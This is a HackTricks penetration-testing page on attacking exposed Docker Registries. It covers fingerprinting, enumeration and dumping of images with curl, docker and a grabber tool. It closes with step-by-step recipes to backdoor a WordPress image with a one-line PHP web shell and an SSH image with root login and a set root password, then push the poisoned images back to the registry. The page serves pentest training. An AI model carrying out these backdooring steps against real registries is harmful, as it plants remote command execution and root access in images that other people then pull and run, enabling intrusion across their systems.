HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
5000 - Pentesting Docker Registry
Support HackTricks and get benefits!

Basic Information

Info from here.
A Docker registry is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags. A Docker registry is organized into Docker repositories , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable).
By default, the Docker engine interacts with DockerHub , Dockerโ€™s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called Docker Trusted Registry . There are other public registries available online.
To pull an image from an on-premises registry, you could run a command similar to:
1
docker pull my-registry:9000/foo/bar:2.1
Copied!
where you pull the version of foo/bar image with tag 2.1 from our on-premise registry located at my-registry domain, port 9000 . If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally:
1
docker pull foo/bar
Copied!
Default port: 5000
1
PORT STATE SERVICE VERSION
2
5000/tcp open http Docker Registry (API: 2.0)
Copied!

Discovering

The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it. Some fingerprints:
  • If you access / nothing is returned in the response
  • If you access /v2/ then {} is returned
  • If you access /v2/_catalog you may obtain:
    • {"repositories":["alpine","ubuntu"]}
    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeration

HTTP/HTTPS

Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:
1
curl -s http://10.10.10.10:5000/v2/_catalog
2
#If HTTPS
3
Warning: Binary output can mess up your terminal. Use "--output -" to tell
4
Warning: curl to output it to your terminal anyway, or consider "--output
5
Warning: <FILE>" to save to a file.
6
โ€‹
7
#If HTTP
8
{"repositories":["alpine","ubuntu"]}
Copied!

Authentication

Docker registry may also be configured to require authentication:
1
curl -k https://192.25.197.3:5000/v2/_catalog
2
#If Authentication required
3
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
4
#If no authentication required
5
{"repositories":["alpine","ubuntu"]}
Copied!
If the Docker Registry is requiring authentication you can try to brute force it using this. If you find valid credentials you will need to use them to enumerate the registry, in curl you can use them like this:
1
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
Copied!

Enumeration using DockerRegistryGrabber

โ€‹DockerRegistryGrabber is a python tool to enumerate / dump docker degistry (without or with basic authentication)
1
python3 DockerGraber.py http://127.0.0.1 --list
2
โ€‹
3
[+] my-ubuntu
4
[+] my-ubuntu2
5
โ€‹
6
python3 DockerGraber.py http://127.0.0.1 --dump_all
7
โ€‹
8
[+] my-ubuntu
9
[+] my-ubuntu2
10
[+] blobSum found 5
11
[+] Dumping my-ubuntu
12
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
13
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
14
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
15
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
16
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
17
[+] blobSum found 5
18
[+] Dumping my-ubuntu2
19
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
20
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
21
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
22
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
23
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
24
โ€‹
25
โ€‹
26
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
27
โ€‹
28
[+] blobSum found 5
29
[+] Dumping my-ubuntu
30
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
31
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
32
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
33
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
34
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
Copied!

Enumeration using curl

Once you obtained access to the docker registry here are some commands you can use to enumerate it:
1
#List repositories
2
curl -s http://10.10.10.10:5000/v2/_catalog
3
{"repositories":["alpine","ubuntu"]}
4
โ€‹
5
#Get tags of a repository
6
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
7
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
8
โ€‹
9
#Get manifests
10
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
11
{
12
"schemaVersion": 1,
13
"name": "ubuntu",
14
"tag": "latest",
15
"architecture": "amd64",
16
"fsLayers": [
17
{
18
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
19
},
20
{
21
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
22
},
23
{
24
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
25
}
26
],
27
"history": [
28
{
29
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
30
},
31
{
32
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
33
},
34
{
35
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
36
}
37
],
38
"signatures": [
39
{
40
"header": {
41
"jwk": {
42
"crv": "P-256",
43
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
44
"kty": "EC",
45
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
46
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
47
},
48
"alg": "ES256"
49
},
50
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
51
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
52
}
53
]
54
}
55
โ€‹
56
#Download one of the previously listed blobs
57
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
58
โ€‹
59
#Inspect the insides of each blob
60
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
Copied!
Note that when you download and decompress the blobs files and folders will appear in the current directory. If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.

Enumeration using docker

1
#Once you know which images the server is saving (/v2/_catalog) you can pull them
2
docker pull 10.10.10.10:5000/ubuntu
3
โ€‹
4
#Check the commands used to create the layers of the image
5
docker history 10.10.10.10:5000/ubuntu
6
#IMAGE CREATED CREATED BY SIZE COMMENT
7
#ed05bef01522 2 years ago ./run.sh 46.8MB
8
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
9
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
10
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
11
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59โ€ฆ 16.2MB
12
โ€‹
13
#Run and get a shell
14
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
15
docker ps #Using a different shell
16
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
Copied!

Backdooring WordPress image

In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it. Create the backdoor:
shell.php
1
<?php echo shell_exec($_GET["cmd"]); ?>
Copied!
Create a Dockerfile:
Dockerfile
1
FROM 10.10.10.10:5000/wordpress
2
COPY shell.php /app/
3
RUN chmod 777 /app/shell.php
Copied!
Create the new image, check it's created, and push it:
1
docker build -t 10.10.10.10:5000/wordpress .
2
#Create
3
docker images
4
docker push registry:5000/wordpress #Push it
Copied!

Backdooring SSH server image

Suppose that you found a Docker Registry with a SSH image and you want to backdoor it. Download the image and run it:
1
docker pull 10.10.10.10:5000/sshd-docker-cli
2
docker run -d 10.10.10.10:5000/sshd-docker-cli
Copied!
Extract the sshd_config file from the SSH image:
1
docker cp 4c989242c714:/etc/ssh/sshd_config .
Copied!
And modify it to set: PermitRootLogin yes
Create a Dockerfile like the following one:
Dockerfile
1
FROM 10.10.10.10:5000/sshd-docker-cli
2
COPY sshd_config /etc/ssh/
3
RUN echo root:password | chpasswd
Copied!
Create the new image, check it's created, and push it:
1
docker build -t 10.10.10.10:5000/sshd-docker-cli .
2
#Create
3
docker images
4
docker push registry:5000/sshd-docker-cli #Push it
Copied!
Support HackTricks and get benefits!